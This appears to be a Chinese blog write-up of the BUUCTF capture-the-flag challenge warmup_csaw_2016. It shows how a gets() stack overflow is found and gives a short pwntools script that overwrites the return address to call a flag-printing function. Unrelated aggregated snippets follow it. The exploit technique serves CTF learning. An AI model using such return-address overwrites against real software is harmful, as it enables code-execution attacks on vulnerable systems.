[BUUCTF]PWN3——warmup_csaw_2016

题目网址:https://buuoj.cn/challenges#warmup_csaw_2016

步骤:
例行检查,64位,没有开启任何保护

nc一下,看看输入点的字符串,看到回显了一个地址,之后让我们输入,输入完之后就退出了

用64位ida打开附件,首先shift+f12查看程序里的字符串,可以看到有一个“cat flag.txt”字符串引人注目

双击字符串跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5反编译成我们熟悉的伪代码


可以看到sub_40060D()这个函数的作用就是输出flag的文件信息,记一下这个函数地址,flag_addr=0x40060D

之后回到查看字符串的窗口,根据之前nc时看到的字符串找到输入点
(我们一般做题的时候应该从main函数开始看程序,了解程序的逻辑,只是我感觉根据nc得到的输入点的字符串能更快的找到输入点,看看输入点是否存在漏洞,一般输入点的函数就是main函数,或者被main函数调用)

输入点在第11行,gets函数没有限制我们写入字符串的长度,存在溢出漏洞,然后看到ida反编译出来v5的大小是0x40,只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,然后将返回地址覆盖成读出flag的那个函数地址即可完成利用

from pwn import*

r=remote('node3.buuoj.cn',27119)
flag_addr=0x40060D payload='a'*(0x40+8)+p64(flag_addr) r.sendline(payload)
r.interactive()

[BUUCTF]PWN3——warmup_csaw_2016的更多相关文章

  1. buuctf@warmup_csaw_2016

    from pwn import * io=remote('node3.buuoj.cn',27774) io.recvuntil('WOW:') addr=(io.recvuntil('\n')[:- ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. CCTF-PWN1&&PWN3

    CCTF-PWN1&&PWN3 PWN1比较有意思,在得到输入的数据后使用shutdown将标准输入,标准输出和标准错误关闭了读写功能的读.也就是不能进行交互了,要保证一次输入就能拿到 ...

  4. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  8. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  9. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

随机推荐

  1. [cf787E]Till I Collapse

    考虑对询问分块,对于i<K的询问,暴力处理,时间复杂度为o(Kn):对于i>K的询问,发现答案都小于n/K且满足单调性,那么可以二分出每一段相同的答案,时间复杂度为$o(n^{2}log_ ...

  2. [cf720D]Slalom

    对于每一行,这些障碍将其划分为若干段,记第$i$行($y=i$时)从左到右第$j$段为$[l_{i,j},r_{i,j}]$ 显然一条路径恰好经过每一行中的一段,且两种方案不同当且仅当其中经过的一段不 ...

  3. [bzoj4003]城市攻占

    倍增,对于每一个点计算他走到$2^i$次祖先所需要的攻击力以及最终会变成什么(一个一次函数),简单处理即可(然而这样是错的,因为他只保证了骑士的攻击力可以存,并没有保证这个一次函数的系数可以存)(其实 ...

  4. SQL 跨实例操作

    SQL 跨实例操作 我使用的是 OpenDataSource 函数,假设你要在其他机器上访问 192.168.0.1 上的数据库: SELECT A.[Name], B.[SkillName], B. ...

  5. Revit二次开发之获取本机已安装的Revit版本与路径

    在revit安装目录下找到 RevitAddInUtility.dll 在项目中引用 使用以下方法 using Autodesk.RevitAddIns; /// <summary> // ...

  6. 【GWAS】如何计算显著关联位点的表型解释率PVE(phenotypic variation explained)?

    我已经通过Gemma得到了关联分析的结果,如下. prefix.log.txt 中包含了一个总的PVE,这不是我们想要的. 那么,如何计算这些位点的表型解释率? 据了解,有些关联分析软件是可以同时得到 ...

  7. Hermite WENO 重构格式

    Hermite WENO 单元重构 本文主要介绍采用 Hermite WENO 重构方法作为斜率限制器应用于二维或高维单元中. 1.简介[1] ENO格式最早由 Harten 等[2]提出,ENO格式 ...

  8. shell 指令

    cat/proc/parttitions df -T pstree ext4 是linux 文件系统

  9. 34、在排序数组中查找元素的第一个和最后一个位置 | 算法(leetode,附思维导图 + 全部解法)300题

    零 标题:算法(leetode,附思维导图 + 全部解法)300题之(34)在排序数组中查找元素的第一个和最后一个位置 一 题目描述 二 解法总览(思维导图) 三 全部解法 1 方案1 1)代码: / ...

  10. A Child's History of England.48

    A few could not resolve to do this, but the greater part complied. They made a blazing heap of all t ...